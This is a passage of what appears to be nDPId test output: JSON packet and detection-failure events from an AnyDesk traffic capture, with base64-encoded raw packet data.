\/BdoHo\/ModfUdOLZiQOrLyQs5yuDlKZ\/7rTt3n5rqoJIhFGm81aLSYPRKk2dqG0zaYzIPjEDpq18erWL8sCqO0L3PU3opFppXl3Kp\/oaWd2g4LAsqjVpfN4LwutHd4XFwHeeovrNp8i16oy4BMCk48CQbTOC0Bv5wobDsVHrCW7GNH11eAySiewI2ZwsHhujrNj2D6CbrMCTojKUKg1mjcYWRe5hsNWck715sgleCZTSGqQVIJ1IuGm7MW+d95o2ulWo7NF605WVBWfgcat4ubBN2SBt7PkLp8pFt7BTa1gKtvTePBBKLNxVy3srCFeMICJNPPPd+3tfIIT\/CIDNkgrnvqk9Jgm8osnbIH6Oa5BpNn7qzbCdMuaCyoZ58k6GaCZbehFMGg8rqNmkGp4kyeDYEBLzLyouzcyI1qmRFoh2K3n3OACJUnD\/RCLxeSqzOfqoLiRrGCFyrVVGaiI3lXLY9zf9nrtyX3PzjU8B4jTqRXQq2NIVCzRNOmDWByk2XBrRoLrmghoWFTwWt7EzM0GgZ5jOjHheEKQSeOJwnLbpJaBnv8ZvhvtUDH87sCTy7OE5TZolJ8GNoaSAc5gDFfB4tjRlM4OFTsSZxUm9XGxfcFXFsz3dR1KTZrlu4cV7Ptf5mQb8mgVa2VhcFuKs3cPHObEOfWQ7U1nuctfyLXnk\/nYtxe8f54feriqQuSKQ76Dq+ISVn9QaXuZAIxW7mwG98mgD0ai0N38ITIjUXaobUw7KZzxyGIcro7mpjoG9yg7WeU0wI\/mdKV+4jVKfjTDlObB5ctnkabGPrgOzV+hzuFHDqU3gCV\/33yC24fy6RBAseNq9eAwgqM6lIFx83G6AuosKC6jXQoDdMW4PCYSVbsUzIt8tBjTCFunvKZLW0RFIgJNn172YOGzeRR6dqRv0uxa2Tc8\/vIgDFX8dAN4RACj3hS764B9r3ENsl8cQgPpoURsI7HgknGFgjCWeQ\/oqSbW8y7x3aZZ4\/ch6pdPC3l0\/jL+hM39RuSTRs1CcCT4QnrS+xPvCcsusSKvsr\/WW1REfaldOVqC1nj0d68BTpyKGhnQiTB4Pj2KYfqKIt3j4l8RuIer\/ya7Y\/0OsUPj23kAIlSazYt3VOr1nIWt40YbxePXdgfvkg5FiwxCF\/WZ4k1b97lhIK9DhagcbZW3ni7JzhoJsy1Tmu03uUvcRjHmrCoCw\/AWKTqQGFzlWfSqrH85qT7WV8fYJFhp+ii\/7R8IsxEPnihjbxXpt\/HczzTSknPBNA+zyYdw58TI4kg\/nWfucH4X\/jayR9YoNVQNuHqV0TTPLxY+OxHoIdDuqY2gPm2+7RH5VNuOBKyhDLcGbPK3VCvVlX52uv\/UBoYxlfL02O230tTb9H2v1RC2mUGjiXU+pTRalchcSHiGXfrta66mBMh6+\/e7+JTk6k\/cvI6BFXB7Z9rK36O3Rwi\/ywnj1R87Ig3wLX60t2LUagrdjl81v8OEAVoY5VeINckkv8Ai4hUH4zVBh4WRO4YS3nW0ZAiBU381sXNqq57zyJl4niK8kvsH5wDGi\/eIdOr6HfnzfuA7FNq\/9\/USWHcfH0U4dyx1d+wiMMQ82Ru70P\/Nt0uopDPJEPFcSZ9m+8\/M\/tM775kz4sNqg8IwEmMgGkEiArsPL7Xi26lAd6toEn7PJvjKcb5JODDS+of33YlRSQS3+W6aMEHGLaMozqI\/TMK7z0QOqJ+PTy1wTeAUfyiY9z4p4gmhFSqKw\/pDSnjhkmHFnjd5mgcs+PcZKYym+wgfmj6fCxmUxMudw9MHS3jYfmtb1rWpIyVHA2gWgUkjRb6sWAT\/\/TegT5Kj4ASMf+9Ki8\/qrlk2MgIsVOV7t5sqgfAqtPWEdbLRAmPltkc2YHjXmoQZoiestAehNlCwrRbj+\/zPpqwXYLpzvrmn1VZL+SvaX3z6\/5qRD8cVbOzlmgP+BZpckjgJZW4wZXKHW63MumqIeRBgUVgQ2GPe5hFc0aulvxyfY09kgjTzHLc39NJ3oUWIbdjOxxG7INmWCHKc+A1k29qrh2pOS+Ap0n7p+HRWlmR2QSrCx3HMh5kO4r6jiwpLfSNOaPIxAg1\/88nmfTwCbMZ17Vcpj0rr2sf7dMlKASv9z80MmCh8yPJE5rZpQdjxoq5AS85faq8E39GL\/CRWtFAZlX3V\/U7YF23LOMDiB1DpjRtEAoE5hl0U9f+bj1LyMm4c5k08clOXb\/ZsxB0zseolg4JYii7rW2rWf8LdeiBWvc0TX5c2f6bpZClldtZFizBQPH9pFpg4FjY7myo6k4oYGnDUBGwBvMsuYBXd3inHVmnPiH7xUGE5dU960Li2ppHHCkIEyTg29KjCin31vxZY8ot8pPc000R2Yjcc5YFbFXmoy2PybtxSkjWHWoKckX81X1PspXMO8eyx+hnrFn7qaVkgCOLTKdcgqV29R3aBwG\/89rUSqGbiWPtS62gzMRB9\/kH7uISFdGe5+VR8oRFIn00kFU\/hO1eyEKdfJj8pVDpOImrHNGbat8zmFVeGI0tOJ+0sHQHweHySZSY66DheW4wkVxTNP9YMc0rCJvekxqEKVUmOYGrSkCIUzLjPH1R7e\/zDJwcZUfHdVDfjkuZL\/9UYeouN0eeKnrGSSZAKG7sEwpq4HChbJX5d2SAnScpYZtW4tvmWLl4YsJn9+7NoAaqG9CAsIff\/hNUSjWiI+zM4FYUprEGnMx+clQQ2oNj21kCtcfcSxtSoWTmprQRkV9t\/3QhnVGTJPb91jsr4HtXdUY8rAxWI4xcyGGPrIAABIu0LKrd\/XADtGVZsEfRa6rFki6xC1YLFNeB4BPq7WvzdEi58nWFApXCwjeLIP+So53JWhcAuuKBxaA7lhXB0CH9lJBd5s7GCPVg7qoYFTq0AzJK+ypjdOU\/XC3LlmcozG52VSooBP3sV16wOdACaUAe27toafGs5Zq6JzC6dG818mWGziGWIoAt2MuGue9AYca\/slEfa4ST9cTnp1rntb+JQQuGlrTw7AZIxFT5Tf1NDE8Ku80M5MHndy99v8ufSz3glXtLFOtYW7\/cfatU+mdpWdY7PMLXClrWMjRBuXXElNmyHwmGT0kTUbbWgqEFNu8hodtX1Ctusx\/wBCBKl2LbnT7inb4dGlJri+zaFoQa3EJKaJOoLL+QHSdjNesApfaCoCYE6hxyoovT1xfxLoL0RIiZb104TymeuNDBQQIglLOyo7uU3oaBRuwrpg4l3yIf42U0\/\/aIK1FHge9JPSzAgm5QjrusZHmzFfJDhlWW\/o++gZp6KFLwqrbkS45JAjRNaWW2znpBAUa6m\/gijYHUEAaKV+6U\/H\/zZjhUyhnoUWsQCbwn0Hq8xBKzDXlbVbuyaQXb0DXht6RCW3ahTYSNF\/OYgip74qHPYpQyHw81XjPncz3S\/YNQ6tVpM34VYd9ULENJ1v\/628llLq2zp2Y\/5LVADzbxP54ZADOHGVoJWiNZkTtT8v3YKN+bWSUq1zAYYyBAit64y0P8PtWLpNuAopOFNEVX+MNBhNM1yJnaJ1+wlNjqspjxO3cVzOzBmerdkRus8UOy9p9GfhiJxVM0slISQv2uMW0FFsvyxQLwc\/K1DbyubpRgTyOnzVCjemM00mYl7tLctqY5SN5ubPquUq1Fcz6XTy9Drb5Mvofm9bdVKXHoda8yimhEL8F05CMUCbqUrmcOTZmr42jJ3swUL0qmjI0XYQPX9VJ3GtvNwhCSOQsSgPQpJeoqXZkUvPI4edUCI\/KFMwrNp7uyj6EaBhTeGQVemCDRk9Y0BW3vzsxMLQph5qSmn7E\/v6p681ITSBahvy9c0sFdbx0wNJJHo8j9nJh3t77q3y+SlBrA7QE80e6cLFIwLSIzNf52Y3V+ONhfdNSATm5UkmKOqANPChDznZyHA9TDuLSdsfvH5HA0j3Tx5t325GCgAVX6hbmMXhwVLYWT0H98gWZw+zzHim6p4KbEI8jP2z1O3uo+Ql4RVUlenIoarkL765TvKGfmu2k3n1aaJjjdaWauodYAs664emQCYW6YK9NzDFF\/Y29jTz6YyuZwwZ1pSm35GAjdu3Y0V8ObEOxvv6As3dk5uSEFXp00nH\/1Cvq4TvFf0qQfQPsQq4nR0lrXaGMJVvrXR+WF+mfiUW\/TWx2XBxHSYh6\/sbwQNMSLU2G1Xi9c5\/gnJsAoRnbQKr3z7bwGHrIYtqVXLbg3rD+WL0jC5cay\/wQHgldfx4nsSbcRnUFBf1N0YzoS8YM8HgBY0KVkciN0cTwEsat+MJlAZOtaeX+ebUoQYwdi952yQznXv1T\/LXdKqNGr6zlqlzgUZfX9PK2Ikk3cFCYQ45w0md78a3flaS29LcnaFXX6klQKjtQUGna9Z3juKSCl66z+FMSS3tR7ryEHk003yVmY+RxgBDYmGhPu0kRbsz8FLFTGurvA7MNxahYe1It36dqfXm4lhjh0cp4XKsQaOVVvUQlvcmb\/DeogaIm2++f+\/kr71xwrcy0CNC9jxFLvdtsdJrYzUMcfJ6ONgv4fB68kNvZo7\/GbGdriBGZksHVmfchVQx7WVU0Mn4WN+O2lT5zG6joPAioD4KeTa6JB76eXkeazzbXWmrfvqQeGhPmeeQtPQ6RAhyDSxFGNdZ3HyrpTHTLlv48TYse0Fjm8pFwoB+n9vRVZFMPBdAnj0QzNAEi6TftXLbKvBIbid7cjwbcw5wtoYHPIjMcdB19KtTgUdywkGZOup9dUH2CY29ZC\/IPK0SM4i9ue7B116wppfPrjkmaioJWM0cWLcGrFWTEqle2PzMQVQOfZh+Sxch9VK5t6KzbSnhlbpfd74WCiBH37HR9plVxxsjm9ZfF9DnayvT4GPb3hJFYciWe1L9x1nPMIcydS6QBY5tyCxq8gT9S9BkwJntIHYy5zTcvrhCmfpidSmKP+lH02T+y8v88j386ksm2PJ4V9BXOxBIj15ge\/q5X7a8s6PFDSvdnSMlHH0iilQgyCTCQGvD+8VBNnb+8o62TUzxY9BXbh+dfJFFRwQ\/yEshsqT8tqcJr54kIVj3n\/a+EzW6v8hmVB1fjzDk7U8\/FUUj0Mv6bx9GVYhb0OQ8DzpQoyRRfYGO8kwdvMag9elMsKj7fmqPOYcXXtwJ8dDyV1ch7s0lnkOyv4SFe4vQrO7uHpNQLk6B1zBYwxbG4pr5MZhLra2QNrjSztgZkWqhRy56qwBD\/jaZcmgntmawnjGozZ\/LcNS3IkK7lVMjfYdfTAFMH2CqQ7dZtAxkqJApBGldVFwB4ldCi7LJCjaSU2BUw\/wOoEc4xveLpPIX5OI8AgcqCWfc2p8INj2ynj3pUGfipLbQ+KNyLbwDYigmv3wFo9bWN6UE2bYGck6Y5tpjORtHGzHB1X53m0Ka\/p\/5XoAAyG+dav7NIrUPD2af9O9Hvm+FnTUEP0QkrVXPXUPyrJfUp4vRClMPdPxLYqUs58BZUF5+a0qSsL0FcU86pSP1RAxLp1IXsUFS"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2203,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5519} +04737{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2208,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":229933,"pkt_caplen":3272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3272,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhpJAAIAGAADAqAG7wKgBstOUG56PND30WcRJSVAYIBGExAAAFwMDDI1Z4hNO+msXIlX9TITyKFfJxX8Z4kZb9pcbzlL2Sq2w5aiVNAheoSoyJd+GT4YkNZ1Hj84yidGDTllPWwLD7dzAUu20f2YFAHJXozj7IWxZ43PRFyAFGSGPkCa3i3N+wSQiSC49N7ZHpB6ARer6HHV5WDcWLi+SGBdyEf7zbP+7DdAV7tCU26\/3cbuY5ltUMIe0ZQ1cCGMiqiMShHIC9n2\/XHMdT+6TfK8d3abre4Z\/jxGY7wYU1vHpewN4HpinGRzOOcAriXpUJpOHUmC8mGKoFVv5Z8x2jByRyO0iatVf6buuuHW45h59yB590q+9iMwShDBtVFxuf4U7KFdfdSDAHQDW+\/l0eNCmcCeuHndsC2CJ8MP75D\/7HAhp9RQ9v1HeNz0ool5TgurxY5V2tXORhvCboHVumWr2+rAjKjwLotx8aMP822jvrh6UXgAaA9n4ZP8thiXhtvPw9UwEWTXx7DNDX2AuR7f4FR0mlZKjdT\/+S8gS8mXdUMY\/x8Dmm48r8TZdW7CSniObeCjTXlcJWBE8tWl5K5GicEUu9zUq5tJxXMHVDs6FC0aYoSIChK8DG9WDHR6OoFXgpEZxaLSEigC6O5mzPIoDSnfV+iACDIbM4+Ntb2hpgC0ZpLgmPlr3F\/pNNn4+co9xtw\/fFuoEnHFcY0cpcHBFZ+9GQZwD49lycxfY6hU2jQ+B1sPyHGnP2UyCxtRZZkDS84xoilar2X+\/++h2XGc3Es+ahvyNfWFa7tZGNLShmwQiTMVUi5gh1z5mrS\/jN5VNeritZSoAbDMrD8CT3FH8g+\/1BiLCe7AmsbzLjSDIoZR\/4DHQ\/FCa9VApFdFtbwJGq6XTbarf1q4oVmVDHxj0gGSEViWsh\/D+ly3Nz\/uURs0\/dZC4WuHoSCYd47ID8FDAGPOndb0Cmx965qIcaiqDXMzfPbKRFk72TK3Ld3c1dW\/7HH5CGuRinbYf\/kofBcjuYkb41\/lfU2BO6gJkbQUS\/PZiS6zVPRO9LBR1A2tU7u\/YirIasKPiwy1+7Udc\/XIFZqIVJkyoqyoeJOV8G9YPeCus2UFtzQxyF2e4wQJtJikjBfK0e5lRKMYsfkjk8roE5ViazdYcZKvVWnMBGlNru4kkLTGMLB5qZ6EEwA5HYAeeKhp8R6LdqSTuaanK0r5f3dJFHahAWssyJPUL1mzxL4KVEcHY5e72674qL5Lm\/bMEf85fJvCI+anxsdIIi2HxMG3tDHDIW5Fqo7oWkGMZmwO5A7d+KRQ6o7mdaEu1EruzDD\/LTkYciIK6GRWTJ2SjQ3VSXp8ft\/7ZsGUWfrY6bnSOJIoeSGjinmVXaOnNJ02JREbjNXgK9ILGbSOCKCh50zRMQPj6gPjfX84aryR5+oogKKkI9DxZukcndlv8kHbgig+7HkQSCM+JT8Ps7kVQmgAJUIm6YekzgAmr9h4SorBS5+s\/0O8tf7tKgHHYFTZZgyKhXwMhBASxHkzlw+IeZYIrp6JgRPbDmVcFyFh255jeD2LMhc3jaaJpmGGAk26cgve0+mMjdODnOSVZ6LyQqCucKmAQ5KcDrFS2CInzwDDGsFu30\/fkXeE17Nj\/iEXQCgT9Hsga0UckCtVzunBhKVGKGb76E01NsuvlyedFqnAi0qr5ZBHZ+hrcXAX2PoD+kmanMVn3go4p+wHla3PXj\/XovYhcexZc9TAU5MQpFFO7E1iN32zK4BWEnJX7vPFUOnQafH7TlaZ36tm+bji1I97ItoXiHXl+35Fg+uK9aCyDPpOBDRKPoGXHhNHnCP1eEq4GtPEszDVPMdXZw9SHdFFeHTCFtmK0fMOCrWwnLRTQDg5UdwrdU4SYquJWdCOgzQo+THVbTgSqgTIDnle8+QXWH+WzRqdvSv5M9oItu83+8p3mHy3DSC4gNYwTGC\/XJpxEUpxNz9hlShyw+PDEP85XlwU90+EEdBAYdTJAbfHS+kiWuw36g9XxLUcoZPg3Js3p09qAqp2xQnjM5Tr4hT8ZkNw3qS1DoJBPeXLvSBCL+HpVsFA78rF5\/Y9Mw5n1sM0mf0T4FBZkp1\/QRkwpJ\/EvTjqL43D7GI++SftfeXBTkWW1olyTIYSS7HngoWBbf7vutC5Kj\/jVtPfB4Oav4D57duHdu33Kh177yXINcOaeezIikOS4Lk2SSWSnqKSm9Cdk4P2MwCAQKllPNH+IdTqFpyhgb8XJSF+pZ6XpIkt8yVn2nZzflUKWqES992PWJwMNpK6enD0SX5CNnb\/9HLsuQ8biHZWoWn4rxQPj54hb1Cjiw4gGcJrQjRBdOnNw3rbNYJGkXilMlMQomtBeACOD3vxXBn9lLdT16GutKYnyI5wMsLtukR1bWwJyXv2UYq82sV8jqyKdt0+\/NhR0XPqzQGJHyw4eck0UxHpoEur44LSEl9bJYyAbPCcW89UlnwdFQPLSrjPtHkcuwUoixItvHuJjD09d0E4pPMuBJ5gB2rH0vmYMCBfaHENwwP1U+hDic8A+3ybz9S2iNqpvj4yPAL5keIuAdt2U+a\/vXfmeEoLUYVbAsOo7mQEASK2rwn\/sG1TTULk4hax4O\/G99UDzaI3h5JqfUBknQzhvsAmYmesXmPzQkM16Tvucs6jn\/LuWsWNnCv088YH9q7ml+bKbv7CeQLsoESWagwW7TjcMVXjnjcwH88Y4CDBiz4TrywNudL8nuqmK5w3X1xndiZQHxCrrX\/4mQXKmWEIOgzu1irwiikBIck4Wi+ZKkYbSUKEl01b5M2m1bvyMGPbIr1yOrkqFyWAdNVI6EhhhjeDGsT4RQ7fusuX\/\/sVe8MqraFwnwwty2GXSWbUlX37u9DZxIEDcT\/oN8nmRBTpXwN4b5IWLY\/D4onsbN7\/kb3Gc6Ayr4E3XgdAS2fuTpoqdj9tTxLnNX+m6SES2m6Oj2VOg\/xK\/\/MMKj2\/GNLrhpf+ri1TGo2BRYQzVYRowbVRVj5NPoWllyEPRFy27K9pS3300Sh5jS5Wy3F160NKrqZEe17hy8kpsgt\/DK2XTtPjAYxuSkASWShTqAOqn9qZ2S8BUAXhqRdgduwpXNziKuLLdn\/fBTUuu9gZ1WhgaRNgS98sUcSjdhROnhpxDeog+SrEkKaLK1G64qmz2XAP3DWRyKoSw3KXyYKkZhrIcyj7PF8oVdgbqaFWF5ryNEC2KhN+g3X87YoOWbTz9mb15Hr3vif1FqHDoWJtJuA7pJckIEpE8tHBJsKNaxnOMXci+Qc\/983e0bj1QBHJhNAd6N5jo4lE2I3vUfg6UZ\/yMB919\/Xxcz0XJTTG+SeK+sB3t06IjWErqSRegVynldb8VyPgXjvfqJlIdioHbVTBWqdEjiUTomTM\/ZQ7MHHrJrFBtl9CY80FxFHGoKfr8OpW8FjsJhuKZbF7\/Ip4ixP84xFxUIFvFAJMl60Rw6eocGtcDAL656MImCC5dSK8Oe6XgE2kZlrbxJOkzJ9I9TxG4w0iBRDbYZflGwTDZIUJS+9BIDW+DNHOoaeKxxL0MTVYqZJYPVsgFLsIBdzPjexwAbbKeM9dSJShxXQvVPMmS6taO11z9fPDyiUAvO2+Bog5ryQ2UUTBwxJawgNASBVo0oCh7RTmtX7Pu9iWceowaWCjqgYpzcY5J36ikBNh+wJYiaIqUELL01japWSX\/QLqJCSHVxe5yxH4\/D4ncEPVUmMFAjoj9p2CX0hr7EPsmBSYmChzDMMvjG1r\/a+wjwaj2ukki8E9MupMhqenhtlD2FO+Ra1dGsebJgaqUYxNa\/T6F\/nEh16vBsQBY61NN90JvBzMyaYjOMfdAyBSoO1mlGrCYCf2ZkAY+exOGPu13fxVMeOTSQag+0epyJySKA11qs4cUh0+m1cH+yFFAQDY+9jBa1jpOqP972VO5roWgFbK4OzsULzVeoNvNV3n86m1GMUs9JtfQf4ssuMb\/1D+9SKB6kzzjPy\/ISjRbFFBld6S1nCgJB7GGUNXy3b34jVymCHHetHw4iY\/2cRnx5A49D380zlaEZ8+m45f5Q+PJ3V+b63Kpdv3Za72B3xNJEKOrK7jSu1tHeuNPXaDiMLARFglnu6Zzo1DQT0obwnyqa3J0IvAoM2uMjbgh+yS\/dtMxZLVQYHRy4KE21drO9JYsb+ccXgvvhkAxc7gHWBZOQa7AomFU9lroXFQw7FOM6HX0tbjpdat3CYgJ3346clCO75790bXC3VHsW0\/B6EHskWO8FfUbghncSe4uhol6AHZIUn6YJWKqmF6au5AnONelKCDfQYKP8njGoiKdSwzbyE1fk+d+yqw="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2208,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3238} +07826{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2212,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":231378,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhpVAAIAGAADAqAG7wKgBstOUG56PNEqGWcRJeFAYIBGExAAAFwMDFXlZ4hNO+msXI3UCs\/XB6Np5Rm6ESUxgKnBEHO0sj91mxPFiqevh8vGO4I98F0fXWKNfqWi8P+cgf5fn1Mkt\/oOo7F3hVakK3qgeoF6uU0H63YypTEQY1WAqed2nqwrudrwHaUD92okydKBm9LwbeY+hajJ5USWCiHUAUgCVnL4EnSYhL0Ox9GQqmydCUdUd\/SMSmBAXp6Xb5pjPggjW26Vofxx5hmbx31SlB5ti3E1aU09Bb1kR5iVj8ib55oP4oDoABeahN3L0pj2Dp\/o28l0U5ulNLRmENh1+HY0mkq9iNggrUieiea09ZQ0ZlYZGLMLIT9tQLblGtyJ\/qcW21om+rl1qI2smkeuxJGdOYCGZPmUesqeu\/FqlD51Tb80oNshDtLPw143Q3+5OEaFclkE+oxNj3re89NZbNYKacnvnP8\/x8OXiiyfTxdfNpr3qkLVm+vwhQfpN6np9PXQHxVNxVkq9FJq\/aYJgcUKa3wIADeQzoyIOZMLhFAZ\/TINYEAMzukGZJUj2rcAKvqSwpEFvRwmZKeMUmmQRmcxlxB826Xic7M9claSlXXaq2HSKQPLba94QouQPB\/xLu7q6leH2drV53Lbu+YvaJDUeHTztw140Z0AxrVfyKEMmMPT7TZ2icJXy4xXn1PL3r91vzhmPMWsuvjLq+GgAYwmfnbkjD3V9TDnbGQAlVMYguDq93PPqsYUdzoxbFjFuGokZG\/aWx06E8Z4r8gDuomvW7PdDsTKesTcspvKF6KkCcAacYE7+4Kw8q4TWROTy7HVCkYdg+u41QNyutqvqTn8XJyDq7YphQUnxFPRDEW4r6UdvwkjWQaKIXuKlqOTL6VnQTxXonaPWb21hDX+O\/Np4xL8NioSkFN0H2mha3p50rZ6S9i3rAdQ7luJOGeMi+jxbEHKiNb\/wch478fxQMXVq66SBNl8ezD2PQL2326Zs9k6qNTu1EOtQ9G\/WLoC1Pq0sXYIPafWDFXI79JhVfoJKSwz+jIcA0RI\/evwn2vlb0J1+gG\/KRhrmTV12f9aQxlj70KosATVQuMQtSAJeC+xiKq\/lhXkuM9weqLRoSU7H14FKM2ypYfia96KzZzldNfQQzdS53Y3vPZY9ZukeO2MizVGCiXzyhdaMi1VXLE\/wM8d4GtHiHGmygB\/lWUk7LaPjg58lwUU9L\/81qwbu1gj1zN1ty4nU8uldL62+AZPQbQ5z6ViPhiA+8ISaBh8M9SK6SwODn8Qr4GizstMdeehi87Xrg2nlKDpU5KhaEawJAiBjXbic60OpuvkMKMDQt5rxjhGca3ufOid4e\/aYdbCJSeN+5Mdl0umWA1Q1B\/f5k\/s1kca\/9Zol8dRrkdsNzetjvvnwKfTe\/dB5wsExeaH6j8RzI\/vpVJw37xQVRLQuzZi26lLsqmXB1UwCZRVvNviqk08Auj+sPXJ2LgHp320xhhCwT\/vy54zzOwGiJX7wwYSWCe6JpSBoxszQcBv5B23+wwrJyGdn\/TX76vbacrCZDqqEhToR7Wi9JQF1g\/CFfm+neuZV\/ahsQf\/hVRR7Ridh4jegAgnZJGMfXmhRGQUTMpN46VKaOTEEu+sldH83GFn1Rix9DLkrEKlrm4INT3HRpcFOwmK1otiazw2SM3rRR5EPS2SVsAnUSClwr2fqXZ\/73mOkt5Hc89nF2uZiEp\/vyrIn814gWyMJK2YUlgEFQwiJe1fTdwWYem5w6AgdMMEXut3tH++BzJ7km9qo3ouNOZ5HtdTKEQVdzJegjW6TE22eKLFJnnDpJ8wq6x159qz7B9DmyXUFyuYDbvC6uAf2Rtwnx\/LTLowomWyivOnNg8f4Y\/zzvcvpHp4qBUCpRNmvery0kETvZyGthTBfpmxlB8NJqQWlsabtbyT8pq4HerOsDPL2ATbigBqIPVbk4sN0Cyl6ZZfbHdiDcv\/TaDAi2SU4oc\/iM8zgBdBr1KCi\/+ZSdDc+tSNuptCLE+I\/N66XVLEwaaX\/npTZDr5Bpi2om0hoMJE3fvfwztVo49aGbIhOUIZCUacbRLm4xTXM9zhVdW5AE27zZDUqi0U\/rXq\/M7GLyJvCHpu4nf1+mLCzpGsKIXD4K2W5VBZKsOLQaNlE4HtuwKHf0d97JYcK1SGt3PXmIItr8nR73\/dG80ritZg5V3O8JAUS1lGAk8hETo\/M5sWBhTBGA1JogmJTH7tgW5XCv5vuHsn6Eu4BNNajZgzdv1PnRkGd\/WQ8p96Ix95fg62mz1e1oUwGyOoZiueYz4x+vwHzXXJg+pxreVTUe3ZYhA3phhZdAulqyesVap+BmyfxN69AFOizww+b4oJ5LRXH0Scpv8ym0VQYMNlJN5HkLQNL1r6\/KXkHQn8xWOFTt4Gjz9GVJ3mZUDkt2EpJwJ0kjSzmzGeRYwNL36R5ZKs7Ofh84Vp2MbDedpxuKtaSqQNCPd4nCcd1E7pK2FA3Oqd\/hXj1NB0yL25BQCDr7X78DOXIRrRH3sBUGgh3onx2G5khapw3rGiIXI7mxmGtPu+VchY32VauH9t5i2yyjW3jN3VT2b7Gga0oDmbW7FpcDL7\/Gh6rl\/p7HIvJUv\/2UQu2H+5TXAQe+woVX5cY6wNcTSZQRqhUS9bQNfpaSmhcq8uy5GINMt24VoTaDBnpq09Lwbync6BWSZm8wu+bKvbN0xI9d8IAVrzuBRUpePDEEZalLkIX+dEizU\/AWTxrwurfbtcFqdhKrhxifIUtWgBkscosD2EzKbURvRruwTRBBlJ7zWFvoWF52XH3L4ccfzcxarFkmyTq9o2iVZaYbwt6bdBYYrL1BPXqm05cm37Ni0KQcH4FjLQ1jGgmn640YJAxtIkaNj71mUaCXICBvinlDZ1t\/jPSZlUnfJqOaoo8b2qUyyaC5cn\/j+DNdTXTIv07e49h3yvVLhhRZ83YGixdB29lEFuigik\/lkATXnYJAW1zgj9GebyMeInJXbl+DJ+c3NpGX8LWYKMNNaz\/\/k6Q9mdqHuIVwfkUt4omfmLB+\/fz9X0S3uZ9hjxkA+3o0p71qlXlM2QD5IoZvopc7gFoukh6X1hj4\/LFsMrGx749qZlxkNb62GKYLxhVUjbolVJmXv4aXBviJLca0qdFPPgk0r+kpBksdkRp77P7gJA38cWJXA4wq6vndEPwDhYaUXZcMQE6c5LsZd3GKcA91v9nrkDNlQlVVybT\/xi1c\/tm8jIuah+T5njXx+C1aOq9uAZ2JGYD2qH3r1DuKmts5IOdyMuKBaJ8dPuCo00isUTwtwzE1gP1M3GL\/FGI\/owm4Py8WXnCvvk7gHbeDfgJOGonP3TtrpnH4AWYhk8KsypNt3J5Tf3aIyBZUshtNeanaB8RD1SCVoOUXxFOIhttdN4OawIF7XcDwzoAEv9U1p9MzZhrf9WvOBSQPzJP6cRMPrTPq92AQ9KrCOeJpyPmme6FCMAbOaz1ZIySft6UbkELUy3OlChia18NqofJZ4c6FtFkc+TVpkffoN8oAMLcPYfOqB5vCAPUyV7MBsWEyyxGrg8k+c\/5yVDZzpFydOcgamY7aaVeGntSKQP9TiFx8cCH3y6Gcl7nyRV3U6Pvc43eZ21nvGBwA45V2fBXK+3lEvvRigl5f1adejOIPMd3cVpBtveRBjfZ1KjvdRyd0JM9wGBdngeGS+\/K72eoYZWdPUhSWt\/AwamDWGj4HsoDbm80DeYXSdUiX+kACl\/zoLwKYk+dpCs3QGhUfvbwjkHH1Lk8Dxv+d5qDYkei0hY3nkHc2vqYGfw7z04XJNjLSaO\/gnC7ev2t+ZzQDOr3pqNpf66d8qVrxlYIsro4H6QKBqtteGWL5l6VLSUHyLdHq25y+tuMLg6p9TbF8J5f+Ity+dL7QIRgCLo9Wi7A2kP82sxp36Wv3MSRpgusVoSXXOzxlshFRlVnXgA1sVEzBeoQSsROquhQZH\/bOLBMDi3ytf3JH08D033cMib+TVvh+leC+2vuoryRFjwzv0dZzxskYILOEDUpV5x9q1By2SwXbffDlQOlDZiGQWyy+BKOCLlWFIHFek\/FnW3g+LMoA5IVWyT4ZPRmi7l4kn0mJ1CMIQw65QB\/5vhztVE\/jRHO853QPvbpQFN2ckGN8GS8iobU6nPr2EpcXIf2pRuPX5sp0nuAOB2K8u6YBpkSCnz+YAuejD0JetdO2yhxXJDbuqY2iFba7ivAg\/fy2iyTf45Ta2qkCvILPa19ukSwqhI5dQ38NxlUOJxwHJYYEcEdt+MA3E\/ryRhPkD0M4TuCJmBmexTxAc1Ilh9NCtGj39eXvoppKt+Sk00dZ39vk1CF3Ikt6\/BTQeofhNHLYfSZB\/WKLQynoGi2QRcGs4b00rw3Ax8JJWiXiTBuOmzoND5071xA5fgZ6DwC317QC0rYBvj5kgrOOo\/n9f1fWA8HCRsgaoWfCiYJH9n90YwrZhmg0WCNJ1fA77hQxwqF\/Ob5p7zc1QtaoXt8j8DqKJAMTAxejcw+BriGTLZ3y5HwJJbMIWZNUBhQo1+oD0M8s85Y37NkUE9Tx5M73mYR7hWyYM0TaJJHCg3J0F\/lV5qkYhLjLvg6on4FoQ4G96QCM+GGXyUB728ctdTx5kTa01KxguYY0a5HKwx5uY\/SY\/kxX7CEgb1n7JVnoxznXRHvxEYR1KHM2zlf3MaWNV01ScSUSP7+LDABJzmRefKQeda91h9bEm8I5Re0ZWVGIHSz3xXZnDoIFe1c4vNB0s558gJz+FKy2Y0A1L\/QNNTr0WLungBABUbY3spz+q4U+8+L5bg5+fK0FQO7K7ErNeJa3\/COsV3pHwFXlSkFasr\/7JOMJqrbQ5l+7Aiw055KSSz9aeFaqNUrmL\/SUK8z0++4+LFYelW+7JwdEuWqS\/toMy0N14gZmpDIYjzRJvoO4beIkyY+lemc0l5lU8fwmzHK1TiwNodttXrxe+ZLxm\/tq4MgPdUPi25MLbBPi2vYp5Vn4NhKhA+ILDmDtmXldTsI93hHl8viVxh3AWMaK5svLB0aTYITrCVp3rRwrEqe4g9pd3LIbwpeojdTZhvzh5yW\/aur4fgZnElZqF8dC